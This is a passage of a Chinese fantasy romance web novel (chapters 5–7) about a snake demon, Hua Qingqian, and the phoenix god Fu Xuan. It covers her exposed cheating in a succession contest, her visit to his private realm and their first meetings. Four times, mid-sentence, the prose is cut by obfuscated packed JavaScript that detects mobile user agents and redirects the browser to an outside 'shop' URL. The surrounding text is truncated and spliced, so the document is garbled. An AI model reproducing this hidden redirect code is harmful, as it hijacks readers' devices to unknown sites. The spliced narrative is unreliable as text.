她正迟疑着要不要把丹梁也列进名单,却见凤凰神君一抬手,打断了蛇王的任命。 “花清浅手里拿的,果真是天险珠吗?”他袍袖微动,花清浅手里的红珠被迫脱手,飞到两人面前,“蛇王还是仔细认认的好。” 完蛋!花清浅顿感大事不妙:这颗“天险珠”是她情急之下用石丸变的假珠,赌的就是隔远了蛇王认不出来,却忘了现场还有一个傅玄! 天险珠周围有一股光热气,浴火出生的凤凰肯定能认出来是真是假。可气的是,傅玄本来不晓得天险珠这些特性,是她闲聊时自己告诉他的。 这张嘴啊,怎么对着神君就什么都说呢?花清浅暗自捶胸顿足,悔不当初,果然听蛇王冷笑道: “好你个花清浅,连我族圣物都敢调包!在比试中公然作弊,品行堪忧,现罚你即刻退出少主竞选,万年内不许参选,你认是不认?” 蛇妖千岁都算长寿,他张口就罚万年,不如直接把她逐出族得了呗。花清浅顿了顿,听到台下一片愤然的起哄声,也觉得没意思,看了眼傅玄说道:“行,我认。” 在花清浅下台前,傅玄却又开了口。 “少主比试并非儿戏,向来讲求公平公正。敢问蛇王,为何要选取与他蛇属性相斥、独与自家相合的圣物作为秘宝?” 丹虺没想到神君会追究天险珠的属性,一时慌了神:“这、这······其实天险珠的火气也没那么烈······” “依本君看,这次少主重新选吧。请蛇王收起心思,也请诸位备选遵守规则,以防嫌疑,也不再由本君监督,换成普化天尊,如何?” 丹虺还没想通那句“以防嫌疑”是什么意思,轻易不敢答话,傅玄却不像是在问他的样子,自顾自站起身来,就要隐去身形。 花清浅赶紧飞扑上去,拽住他的衣角:“你跟我来,我有事要跟你说。” 众目睽睽,傅玄只觉那块衣角都在发烫,他想叫花清浅松手,却见她可怜兮兮地睁大眼睛:“我被那天险珠伤到了,肚子好疼,你帮我看看嘛。” 他就跟她走了。 台下,一条眼镜蛇神色惊恐,尾巴死死缠住近处的玉京子逼问:“我刚刚没看错吧,神君被花清浅拽走了?怎么回事,她是不是离得手不远了?” “放、放开我!”玉京子挣脱不开他的桎梏,累得大口喘气,“你问我也没用,神君所想,哪是你我小蛇猜得透的?不过话说回来,清浅求偶求了这么多年,也该有个结果了······” “我族危矣!” 另一条黑蛇高声悲号起来,“那小妖女之前就仗着天资高、出身好,屡次犯上作乱,仍跻身少主备选之列,要是再得神君青睐,那这整个蛇谷还不是她的天下!蛇谷要让这么一个小妖女作威作福,成何体统啊——” - 花清浅直接把傅玄带到了长生界。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068724|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >长生界是傅玄自己开辟的小世界,位于九重天之外,从里到外依次是无量崖、日月潭、不老泉、三生谷和长生山。 小世界受凤凰神力蕴泽,寻常人哪怕是到最外围的长生山走一遭,都能凭空延长一半的寿命。 花清浅第一次来时,只有幸在长生山脚下歇了片刻;如今她想来就来,除了凤凰的私巢无量崖,这里每一个角落都留下了她的足迹,或是蜿蜒的蛇影。 一进长生界,她就拉着傅玄直奔日月潭:“快来帮我看看,最后当上少主的是不是我?” “此潭只在有缘时显示未来影像。”傅玄提醒道。 花清浅失望回首,水蓝色裙摆随着她的动作回旋,转起一个灵动的弧度:“哦,也是,不然这日月潭时时刻刻泄露天机,天雷还不得把这里劈成碳。” 傅玄看了她一眼:“你靠作弊当上蛇王,以为天雷就不会劈你?” 作弊的蛇多了去了,不都活得好好的么。花清浅揪着纱裙上的流苏,虚心转移话题: “是我错了,我不该在第二轮比试中作弊,也不该重伤竹林客,你教训的是,我再也不敢了。” 傅玄没有说话,花清浅以为他质疑她的蛇品,有些焦急地解释:“那也不是我先开始的呀,是丹虺先使诈的,竹长老就是他的人,他一开始就在针对我!” “那你要跟他一样吗?” 花清浅心里说:那当然啦。 但她还不想被傅玄逐出长生界,当即讨好地弯起眉眼,唇边漾笑道:“我知道啦,下次若事态不对,我一定先上报神君,再行定夺。” 日月潭的潭水在她身后闪动,更衬得她一张美人面白得清透,点在眼下的泪痣本来妖媚得很,但她笑起来既甜又乖,教人只能软着骨头投降,仿佛辜负便是罪孽。 傅玄应了一声,又问:“那石伞是谁做的。” “是玉京子,就是那条猪鼻蛇,你见过的。”花清浅说到这里来了兴致,“他可是机关高手!等我做了蛇王,一定要封他为少主,这才是我们蛇族的未来栋梁哇!” 傅玄忽然想到几日前她说的那句“算了”,似乎当时对面就是这条猪鼻蛇。 她倒是很欣赏他。 “他和你什么关系?” 花清浅茫然:“玉京子和我能有什么关系,就是一起长大、一起修炼、一起想办法治好猪鼻子的关系啊。” 傅玄点了点头,从她脸上收回目光,蓦然抬步向无量崖走去。 无量崖是他的私巢,从来不许别人踏足,花清浅也不敢跟上去,只留在原地默默纳闷:刚才还聊得好好的,怎么神君忽然像生气了的样子? 如果换成别人,可能是因玉京子醋了,但这可是神君,神君从不吃醋,她再清楚不过。所以神君这到底是—— “在那里站着做什么?”傅玄走出几步,又停下看她,“跟上来。” 花清浅愣愣地看着他:“可那边是你的私巢。” “你不是一直想进去看看吗。”傅玄道,“过来,我带你看。” 5. 第5章 无量崖内部其实是个庞大的山巢,中央一分为二,正好形成阴阳八卦之象,阴阳阵眼中长着供凤凰原形栖息的梧桐枝丛,还有不少凡间的物件,桌椅床盆,甚至连梳妆镜都一应俱全。 山巢周围环绕有八个隔间,每个隔间的景色各异,花清浅出神地逐一看过去,问道:“神君为何给这里起名叫无量崖?”叫凤凰巢分明更加合适。 傅玄道:“若有外人不请自来,一旦踏入此地,其寿数会飞速流逝,须臾殆尽,死在这里。所耗寿命无垠,因此叫做无量。” 花清浅明白了,“起个厉害的名字,提前警告那些心思多的小人,这主意不错。对了,丹虺和竹林客就是这种小人,心思又多又毒,可不得提前防着点,神君真是英明。” 她上眼药的方式真是既委婉又自然,傅玄无奈摇了摇头,继续带着她往前走。 “肚子不疼了?” 花清浅才反应过来,自己这一路都忘了捂住肚皮,还活蹦乱跳的,现在想维持谎言也来不及了,只好破罐子破摔: “嘿嘿,其实我没有肚子疼,刚才只是想找个借口拉走你而已。” 傅玄偏过头,略带戏谑看她一眼:“说别人心思多,我看你心思也不少。”以前总与她在各个角落偶遇时,他就看出来了,小花蛇表面爱装无辜,心思可多得很。 “那怎么能一样呢,他们都是坏心思,想的都是害人,我可是好蛇,耍心眼也都是为了神君你——诶,那不是我之前送你的陨雾浆果,这都过了多久,还没吃完吗?” 陨雾浆果是蛇谷特产,口感清脆,砂甜多汁,有明目提神之效,陈果还能酿酒,但其挂果需大量灵雾、灵土滋养,花清浅所在的西谷多石,这种浆果产得不多。 每年秋日,她都需与东谷长老以灵石、法器等物交换,才能换来陨雾浆果。因而每颗果子她都宝贝得很,两年前她忍痛才给神君割爱了一小筐,按她自己推算,那筐三四日就能吃完,没想到整筐浆果一直在山巢里放到了今日。 “陨雾浆果得趁新鲜吃呀!”花清浅看着那筐没怎么动的浆果,很为傅玄感到可惜,“这果子不经放的,现在肯定吃不成了。” 傅玄薄唇微启,似乎要说什么,但花清浅视线一转,在陨雾浆果旁边又发现了一连串的东西:两支冰糖葫芦、一块奶糕、甚至一袋椒盐瓜子…… 看起来琐碎得可笑,且与这座宏大山巢格格不入,但都是她珍而重之送给傅玄的,她最爱吃的东西,所以也想请他尝尝。 花清浅偷偷在心里数了一下,两支冰糖葫芦一共十七颗山楂,除去她大胆塞到傅玄嘴里的那一颗,其余的一颗没少。 她送给傅玄的东西基本都在这里,原封不动,没有一口进了他的肚子。 他是单纯不好口腹之欲,还是因为这些吃食是她送的,他才不想吃? 花清浅怔怔立在原地,傅玄察觉不对,问她:“怎么了?” “没、没什么。”她不想让神君觉得她矫情,下意识扬起一抹笑容,“我就是在想,鸟族和我们蛇族是不是吃不到一块去。” 傅玄对她这句借口不置可否,但花清浅就当他默认了: 嗯,他果然是吃不惯,才会放着这些美食堆灰。虽然有些浪费(这么多好吃的!她心都在滴血),但他没有讨厌她,这才是最要紧的。 她一向是个自我安慰的小能手。 - 傅玄领着花清浅走到正北乾卦的隔间,这座隔间的窗景是纷飞的鹅毛大雪,花清浅好奇推开一点窗扇,就有几朵冰凉的雪花飘进来,让她皱着鼻子打了个喷嚏。 “那外面是极寒之地,小心着凉。” 花清浅暗悔手贱,忙关紧了窗户。 傅玄在隔间墙壁的书架上拿出一张白纸,放在手心吹了口气,白纸自动开始坍缩、折叠,最后变成一只小小的纸鸟,扇着两只纸翅膀,呼啦啦飞到她面前。 “这是?”花清浅受宠若惊地掬起手,让纸鸟停在手里,听傅玄开口道: “这纸分身有我气息庇佑,有它在近前,可浴万火而不伤。” “真的?”花清浅又惊又喜,她还以为这纸鸟只是个解闷的可爱小玩意呢。 傅玄嗯了一声,说道:“后一轮比试,普化天尊比我更为公正,选少主首选心性,次选实力。要防火系蛇族坑害,带上这纸鸟就行,你那些盘外招……最好不要再用。” 什么盘外招,听神君语气如此不悦,难道是玉京子做的石棍? 花清浅有点费解,心道他就加了一点小小的机关,那也算盘外招?那他这纸鸟呢,难道就不算盘外招? 无论如何,既然傅玄不待见,她还是得跟那棍子撇清关系,尽量维护一下形象。 “神君,那石棍是玉京子做的啊,可不是我的意思。那个伞尖化刀的机关更不是我想的,说实话,我也觉得捅竹林客那一下有点重了,虽然他活该吧,但是我心里真的很同情他,咳咳……” 她一边胡言乱语,一边抬起头,透过睫毛偷偷瞥向傅玄。 他显然一眼看穿她的狡辩,不赞同地回望过来,严肃时他的眉目那样疏冷,花清浅却硬是在其中寻到了一丝宠溺。 究竟是不是她的错觉,她晕晕乎乎地想道。 - 五十年以前,花清浅也曾发出这样的困惑。 那年她修炼初成,神牌加身,时刻沐浴着众蛇羡慕嫉妒的目光,简直春风得意到了极致。 某日蛇□□虺忽然登门,先前他妹妹丹梁已因神牌与花清浅闹翻,但他还是神色如常,对她颇为亲近。 从小到大,相比于蛇王身份,花清浅对丹虺的印象更多是“丹梁的哥哥”,还没那么讨厌他。因此,无论他说什么废话,她都出于礼貌静静听着: “……丹梁就是被我们惯坏了,她也不是真想偷你的神牌,只是对神界太过向往,想借用一下而已。你们这么多年的好友,不要因为这点小事生了罅隙嘛。” 花清浅听进去了这番废话,还认真点点头。 “我晓得的。”她说,“丹梁和玉京子都是我最好的朋友,我怎么会真生她的气?只要她来跟我道个歉,我们就当什么事都没有发生过。” 她说完最后一句,却发现丹虺直勾勾地盯着她胸前看,眼神跟凡间酒肆的登徒子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068725|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么区别,顿时僵在原地不知所措。 丹虺笑着说道:“你别这么紧张嘛,我又不会吃人。”他眨眨眼睛,又道:“不对,我吃过人,但我不会吃蛇。” 花清浅没吃过人,她挺喜欢凡人的。她觉得吃人很恶心,丹虺的幽默很无趣,但还是给面子扯了扯嘴角。 “仙界不是不许我们吃人么?” “偶尔一次,仙界管不到……不说这个了,我只是在想,你一百岁了,这少君之位也该定下了。”丹虺道。花清浅一下子精神起来,竖着耳朵听他继续慢悠悠地吐字: “咱们蛇谷附近已多日不见雨水,万里无云,烈日直射得土地干裂,你应该也清楚吧?再这样下去,灵雾散开,灵土流失,没有灵植,蛇谷的猎物越来越少,咱们就没吃的了。” 花清浅道:“蛇谷大旱是灭顶之灾,每条蛇都清楚。而能控制一方水土,这背后必定是某位上神所为,我只是不清楚,我们蛇族究竟惹了哪位上神。” 丹虺意味深长地看着她。 “有了神牌就是不一样,我们清浅对神界都这么熟了。” “这跟神牌有什么关系?”花清浅疑惑道,“这是我在《鸿蒙序曲》里看的,这书在凡人修士中很是流行,你没看过吗?” 丹虺估计是没看过。他尴尬咳嗽几声,说回正题: “你猜得不错,我们蛇族确实得罪了一位上神——但据我所知,惹事的这条蛇不是别人,正是你母亲。” 丹虺已经化蛟,对天气很是敏感。早在本月上旬,他就发现蛇谷天气不对,立刻去找了相熟的海龙,想请对方相助下一场雨,但那海龙却是连连推脱,声称自己有心无力。 事关蛇谷,丹虺刨根问底,那海龙终于透露出一些讯息:原来是有一位九重天的上神对蛇谷发难,这位上神沉睡了一百年,沉睡前似正与香染蛇君有些恩怨,现在上神寻不到香染,便迁怒到了蛇谷头上。 “那上神以为蛇谷窝藏了香染神君,正威逼我们交人。”丹虺说道,“不然的话,就要蛇谷久旱十年。” 花清浅分外冷静地看着他,问道:“蛇王想我怎么做?” 丹虺叹了口气,“我族自古依附仙界,但地位一直不高,若那位上神真要灭我们一族,仙界恐怕也只会坐视不理。如今之计,只有我们自己找到那位上神,求上神改变主意了。” 蛇族地位确实低微,他作为蛇王也上不得神界,于是花清浅脖子上的神牌,竟成了最后的救命稻草。 “最近蛇谷的风言风语,你应该也听到了。不少蛇都觉得香染不堪为蛇君,要夺了你的少君之位……” “为你说话的只有我一个,长老们都觉得我在偏袒你,不同意让你成为少君。但若你能使全族躲过此劫,那些长老也就没什么可说的了。” “清浅,你今日摆平那位上神,明日我就能封你为少君。” 花清浅听他说完,点了点头:“我愿意为蛇君分忧。只有一事我不确定,还需问尊上一句。” “你问。” “对我母亲的那些诋毁造谣,是尊上亲自传出去的,还是由竹家青蛇传出去的?” 6. 第6章 丹虺自己说的,他去找海龙是本月上旬,神牌现身,对香染蛇君的诋毁流言正巧也始于本月上旬,其中要是没鬼,花清浅能把名字倒过来写。 她冷不丁问出这一句,丹虺还真愣了一下,开口欲要解释,花清浅却没给他搪塞的机会,又弯起一抹笑道: “是我想多了,尊上如今主动助我登少君位,又怎会想害我呢?哎呀,我口不择言,还请尊上看在我年纪小的份上,不要与我计较。” 丹虺像是看出了她的阴阳怪气,也像是没有,他仍是笑着揉揉她脑袋,给她简单介绍了几句那位上神的身份,之后便若无其事地告辞。 花清浅没有时间浪费,他前脚刚走,她后脚就进了八十一重天。 根据丹虺交代,为难蛇族的上神叫做岐深,是生于南海的一位小龙王。岐深年岁不大,法力却高,因为她爹娘是南海真龙,她一生下来就是真龙上神。 这就是命啊,花清浅揣好神牌默默感叹,转瞬又想到,这么一个命好的小龙王,爹娘又千娇百宠,恐怕性格不会很好。 她本想厚脸皮请凤凰神君帮忙,但敲响重明宫的宫门后无人应答,神君似乎不在。计划有变,她也没有气馁,趁势在宫墙的遮掩下施展寻踪术,找出神界带着水气、又带着龙气的上神共三十二位。 用排除法一位一位地找过去,她累得半死之际,终于寻到了传闻中的小龙王。 “小龙王,请留步!”她在岐深身后大胆叫道,“小龙王若是得闲,可否与我聊聊?” 出乎她的意料,岐深看到她的第一个反应不是摁住狠揍一顿,而是踉跄上前,抓着她的袖子红了眼眶。 “香染你个大骗子!当初说好的欠我两百串糖葫芦,我什么时候来管你要都行,结果我浅眠一百年,醒来就不见你人了!” 岐深生得柳眉高鼻,龙目炯炯有神,比花清浅还高半个头,是很英气的龙女长相,但一开口却像三岁小童似的,花清浅没有料到她是这种性子,一时手足无措。 她顿了顿,只好先试探性地抱住岐深,轻轻拍着背,等她缓过来之后才开口解释:“小龙王,你看清楚,我不是她。” “那你是——” “我是香染的女儿。”花清浅抬起眼,真挚地望着小龙王,“我娘在我出生时就不见了,你们之间发生了什么,能跟我说说吗?我很想听。” 或许是花清浅的棕眸太暖,岐深嫌弃了半日,还是将她带回自己神宫里,让仙侍给她奉茶。 “你和香染长得真像······哎,我就是拒绝不了你们这种美人。” 那时香染有个鹌鹑情郎,人形还算俊朗,原形却肥肥的,油脂四溢,看着就很香。岐深春游时偶然见到那位鹌鹑的真身,当即馋虫大起,嚷嚷着要吃烤鹌鹑肉。 香染自然不能让情郎被烤,但她也不敢直接违抗上神,便给岐深做了些凡人吃食,想引开她的注意。岐深吃饱了,果然不再执念鹌鹑肉——她又迷上了冰糖葫芦,只觉凡人卖的都没有香染做的好吃。 这本是一段平静又幸福的轶事,不想忽有一日,一尊长着两副翅膀的龙神降临香染洞府,似是那鹌鹑情郎的死敌,开口就要鹌鹑的命。 正好岐深又来讨食,香染忙与她达成约定,只要她保下鹌鹑,她就欠她两百根糖葫芦,什么时候来讨都行。 “那龙神很是厉害,我打他不过,但鹌鹑挺聪明,自己插空逃跑了。你说,我这算不算是保下了他的命?” 花清浅赶紧从“我爹可能是只色香俱全肥鹌鹑”的事实里回过神来,连连点头:“算,当然算。” “我被龙神打伤,被迫睡了百年,你母亲没来看我就算了,我醒了她还故意躲着我。你说,她算不算是辜负了我一片真心?” 花清浅哭笑不得:“这个吧——嗯,我觉得未必。” “香染是你娘,你当然帮着她说话!”岐深气呼呼地叫道。 “我娘从我生下来就不见了踪影,或许真有什么难处呢?她不会故意辜负你的。”花清浅见小龙王还算好哄,语气不自觉带了些轻松: “小龙王你想想看,两百根冰糖葫芦而已,又不是什么难事,她何苦为了这点零嘴躲着你?如果可以,她肯定会去探望你,肯定会给你做好多好吃的,肯定会——” 香染护情郎都这么尽心尽力,护女儿一定更加周全。她肯定会哼着摇篮曲哄蛇蛋睡觉,肯定会为她寻来好多陨雾浆果,让她想吃多少就吃多少。 花清浅说着说着,有些失神,岐深却抓住了她话里的重点:“等等,你说两百根糖葫芦不是难事?” “那好,反正是你母亲欠我的债,那就由你来偿吧!两百根糖葫芦,我现在就要,你快做给我。要是你的手艺和香染的一样……”岐深眼睛骨碌碌一转,“呵呵,那你再给我做四百根,我就放过蛇谷。” 花清浅其实并不知道香染当年怎么做的糖葫芦,能比凡间原版正装的还好吃,但拯救蛇谷在此一举,她不答应也得答应。 岐深要她在神宫里现场起火,她便去凡间买来铁锅、冰糖和山楂,回来的时候就见神宫里多了一位紫衣神尊。 这位神尊眉目温和,但视线极有威慑力,她被他看了一眼,没来由地感到无比慌张,差点把冰糖洒到地上。 “你回来啦?”岐深飞到她面前,“给你介绍一下,这是普化天尊神霄玉清,我叫他来一起吃冰糖葫芦。”看到花清浅僵硬的神色,她才意识到什么: “对了,玉清主掌雷霆杀伐,专克妖邪……呃,其实他人挺好的,你要是实在害怕,别看他就好了。” 花清浅暗呼倒霉,强撑着在神霄玉清的注视下开始熬冰糖,岐深在边上看得连连点头:不错,气氛很是紧迫,和香染当年一模一样。 锅底大火熊熊,花清浅控制着清水将冰糖冲碎,煮沸成糖浆,按部就班完成了第一颗糖葫芦,小心翼翼用冰水裹着呈到岐深面前。 小龙王啊呜一口吞掉糖葫芦,顿时眼冒金光道:“好吃!和香染做的一模一样!哎,你们到底怎么做的,我去凡间买来的糖葫芦总是一处甜一处酸,外面那层糖还老是割嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068726|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “……香染和这小花蛇都是水蛇,熟悉水系术法,糖衣当然裹得均匀些。”神霄玉清在一旁开口解释。 小龙王吃得开心,给神霄玉清也塞了颗山楂,随口就答应了不再针对蛇谷。 眼见此事完满解决,花清浅买来几大包的山楂,全部做完就打算功成身退。 神霄玉清和她同时出宫,但她不敢和他并肩行走,便远远地跟在他后面,却见他拐过神宫宫墙,朝上方唤了一声:“神君。” 花清浅抬起头来,看到天边红云弥漫,不出片刻,那抹金红越来越近,她才看清那是只三尾的凤凰,正冲着神霄玉清飞过来,缓缓停在他的身前。 这可是凤凰神君的真身!花清浅忍着激动藏起身子,只露出一双眼睛,偷偷瞻仰真神凤凰的风姿。 傅玄之前果然有事,只听神霄玉清问道:“东海的邪魔可荡干净了?” 凤凰淡淡开口:“鸟族也帮了忙。” “不愧是凤凰神君,执羽为令离火出,比我们雷部动作快多了。”神霄玉清笑道,“走罢,我要回宫,顺便送你洗洗尘去。” 凤凰点点头,变作人形,与神霄玉清向上空飞去,花清浅不知怎么想的,脑子一热,竟也不管不顾地跟了上去。 那两人一路向上,最终在八十一重天一处霞光绚烂的地界停下,神霄玉清在此告辞,花清浅探出脑袋,看到此处有天兵把守,忙缩回视线。 隔了好一会,她又偷偷望向傅玄,正好撞见他除去了衣裳…… 除去了衣裳?! 花清浅不敢置信地睁大眼睛,只见霞光瞬间变得浓稠似水,神尊修长细瘦的身影沐浴在烟粉色的霞光里,就如同在温泉里泡浴似的,他发丝里的点点黑气逐渐被洗涤、净化,消失不见。 原来这处霞光有如此妙用,难怪神霄玉清说要傅玄“接风洗尘”。 或许她的视线太露骨,那边天兵察觉到她的存在,猛然喝声:“何方妖孽,竟敢擅闯西池!” 完蛋,被发现了! 花清浅赶紧缩回脑袋,却已经来不及,只听有人一步步往这边走来,她躲的这个地方又是死角,再没处可躲,吓得抱起脑袋,贴在洼地边上瑟瑟发抖。 “……没有人来,你听错了。” 傅玄清冷的嗓音响起,花清浅惊喜地僵在原地,她心里清楚,连天兵都发现了她,神君不可能没发现,他或许是认出了她,特意放她一马。 等天兵脚步声逐渐远去,她又探出头,想最后欣赏一眼傅玄沐浴的美景,却只看到傅玄衣裳整齐,往这边扭过头来,朝她的方向精准地一挥手。 她被这一挥直接送回了蛇谷。 但在被送走前,花清浅还是看清了傅玄的神情,他黑眸微眯,看着不像是生气,冷硬的眉峰柔和舒展,像是无可奈何,又像是似有若无,极轻极浅的温柔笑意。 直到现在,花清浅也不敢确定那究竟是不是一个笑容,但这并不耽误她就此沦陷,如同寻死的飞蛾般,一头陷入傅玄这团极冰极寒的火焰里。 7. 第7章 自西池后,花清浅如愿即位少君,一面勤加修炼,一面勤加登门傅玄的神宫。 “神君,您再给我一些鸿蒙的书吧。”她总是倚在神宫门口,言笑晏晏道。 作为妖族,她进不去神宫,但丝毫不影响她靠着高大的宫门,纤细双腿懒懒撑地,上半身朝傅玄的方向倾斜,水蛇腰扭得千娇百媚,姿态勾人,美艳不可方物。 傅玄只微微皱眉,仿佛视而不见她玲珑曼妙的曲线一般:“昨日才给了你三本,你都看完了?” “嗯,看完啦。只是其中还有许多不明之处,想请神君帮忙解惑……” 远处岐深恰巧从八十一重天路过,望着重明宫前的这一神一妖,无声摇了摇头。 花清浅这般来向傅玄献殷勤,已经是第三十六天了。 这三十六天来,她先是以唐突冒犯为由,给傅玄送了串水晶石,说是里面蕴藏了一道她自己研究的水系术法,要他收下; 神君自然不肯收,她就动之以理、晓之以情,仿佛他不收就是看不起蛇族,终于磨到他答应。不过神君还是抵住了她的软磨硬泡,没有把水晶石戴在身上; 之后,她又抓住神君说过的一句“应龙血脉”,缠着他要他讲鸿蒙之初的事,神君拒绝,她便退而求其次找他要相关古籍,总之就是要变着法地跟神君见面。 这么些天来,花清浅的意图已经昭然若揭,是个人都能看出来,她对凤凰神君傅玄生出了觊觎之心。 一介小小蛇妖,居然敢觊觎八十一重天最尊贵的神君,她哪里来的胆子?因着此事,她已经成为仙娥神侍们私下的笑柄。 岐深不想嘲笑她,作为一条心地善良的小龙王,她还找花清浅劝过一回。 却没想到,花清浅看着挺伶俐一个妖,犯起倔来却是八头牛都拉不回的执拗性子。岐深提醒她一万句“神君心怀大道,并无私情”,她也只有那一句来答: “可我就是喜欢他,没有其他选择。凡人说这叫‘情难自抑’,喜欢就是喜欢,嘿嘿,我也没有办法。” 岐深看着小花蛇亮晶晶的暖棕色眼睛,已经预感到了她日后会有多心碎,干脆赌气不再劝。可她到底没有料到,最后花清浅的结局竟比她所想的,还要惨烈百倍。 - 花清浅不以被众仙嘲笑为耻,反而愈挫愈勇,纤细窈窕的倩影在傅玄眼前出没得愈发频繁。她长得本就漂亮,也擅长利用皮相,竟有不少神侍被她那点泪痣勾了魂去,心甘情愿帮她打探凤凰神君的行踪。 这日,傅玄刚从南海龙宫做客出来,就见花清浅一袭白衣清泠泠站在海边,满脸惊讶地掩住唇: “天啊神君,你我居然在这里遇上了!你也是来吃牡蛎肉的吗,真是好巧……” 这样的偶遇,在短短半个月内已经发生多次了。 远处聚集了一大堆的围观小仙,一半是想看她笑话,一半是等着她被傅玄伤透心后趁虚而入。 傅玄视线往周围一扫,那群人顿时作鸟兽散,他转头看向花清浅,低声问道:“你可知道,他们都在看你的笑话?” “知道啊,他们爱笑就笑呗,我又不会少二两肉。只要神君不嫌我烦就行,您不嫌弃我吧?”她眨着眼睛凑近他面前,“对吧对吧?” 带着水汽的清香一瞬间盈满鼻尖,她梳成两束的长长青丝发梢拂过他胸前,傅玄竟有些不敢去看她近在咫尺的粉面,侧过头去轻咳一声,转移了话题道: “上次教你的那几个水系术法,可修习明白了?” ——花清浅虽是情窦初开,但在求偶一事上天赋异禀,很懂得过犹不及、徐徐渐进的道理。因此,她每次来找傅玄都有“正当理由”,坚决不捅破窗户纸,不给傅玄拒绝她的机会。 这个不容拒绝的正当理由,一开始是她费解的身世(“神君神君,鹌鹑和白蛇有可能生出来花蛇吗”、“神君神君,你说我有应龙血脉,那我娘有可能是伪装成蛇的龙吗”),在把鸿蒙之初的古籍都借过一遍之后,她又瞄上了傅玄收集的上古秘法,求他教她修炼。 别的不说,花清浅的天资和悟性都是绝佳,傅玄见她似乎真的一心向学,便也没想过阻拦她。 “其他的都学会了,只有抽水成冰那一条,我练习多少次都不得其法,总是凝不成冰刃。”花清浅正儿八经地说道,将一个牡蛎壳模样的冰雕呈到他面前: “我凝出来的全是冰砖,想着也不能浪费,就刻成了牡蛎的样子,在此送给神君,作为神君这么多日点拨我的谢礼。” 傅玄下意识拒绝:“你不必——” “这可是我没用灵力,一点一点雕出来的得意之作,虽然寒酸了些,但也是我的心意……神君不收下,可是觉得我雕得不好?”花清浅问: “若神君觉得我手艺还差了些,那我就回去重新雕几个,直到神君满意了为止。” 也不知这小花蛇是怎么长大的,一张嘴总能达到自己的目的,傅玄摇摇头:“不用了。” “以后不要再在这些玩物上浪费时间。”他挥袖收下那枚冰牡蛎,神色严肃道,“你化水为冰总是出错,就是因为对灵力把握不强,修为不高的缘故。你还有功夫雕冰,这般不务正业,如何精进修为?” 如果凤凰神君去教徒弟,一定是位最最严厉、不近人情的师父。花清浅嘴上答应着,听他又说道: “你自己修炼,总是心浮气躁,急于求成。我带你去个地方,以后你可以在那处修炼,也学一学如何清心养气。” 花清浅就这样第一次进了长生界,在长生山脚下有一古钟,傅玄告诉她,以后她想要见他,可以进长生界敲响这古钟,他便会出现给她答疑解惑。 她以为神君这是厌烦了她制造的“偶遇”,连忙乖巧点点头,在长生山下盘作一团默默修炼,安分了好多日。 只有傅玄自己知道,他是不想再看到那些人嘲笑她的目光。 就像花清浅一直以为,傅玄不戴她送的花环发饰是觉得她审美艳俗、难登大雅之堂,所以后来就都改送他摆件; 她不知道,在无量崖巨大的山巢里,梧桐枝叶掩映之下,珍而重之、完好无损地供着她送给他的所有小东西—— 舍不得戴的新鲜花环,封存术法的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068727|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水晶石,她发出去的第一枚西谷令……还有至今未化的牡蛎壳冰雕。 - 神霄玉清曾在长生界不老泉养过一回伤,那时正是关于小花蛇的流言满天飞的时候,他受岐深所托,问了傅玄一句: “那小蛇妖是不是挺烦的?听说她老是装病,赖在你这里不走,啧,这年轻一代的妖族求偶就是有手段。” 那是傅玄第一次把花清浅层出不穷的接近手段和“求偶”联系起来,他回过神想了想,这才恍然惊觉她背后的目的。 可他并没有感觉到烦躁。 神霄玉清一听,便下了结论:“这都能忍,看来你养气功夫愈发精进了。” 直到多年以后,神霄玉清才反应过来:那小蛇妖给傅玄平静如水的清修带来那么多意外涟漪,傅玄却毫不排斥全盘接受,连她随手一编的花环都要小心放起来天天看,这绝不是他养气功夫好。 这只能说明,他对花清浅彻底沦陷,比他想得还要更早。 - 蛇族第二次少主比试在即,傅玄微微摇头,从五十年前的往事中回过神来。 花清浅正盘在一所隔间的榻上缩成一团——蛇族盘踞着才舒服,她化作人形时便也是这习惯,总是侧躺着团在榻上,膝盖能弯到下巴,极尽身躯之柔软。 傅玄看她这般放松,忍不住提醒:“马上就要新一轮比试了,你不多做准备吗?” 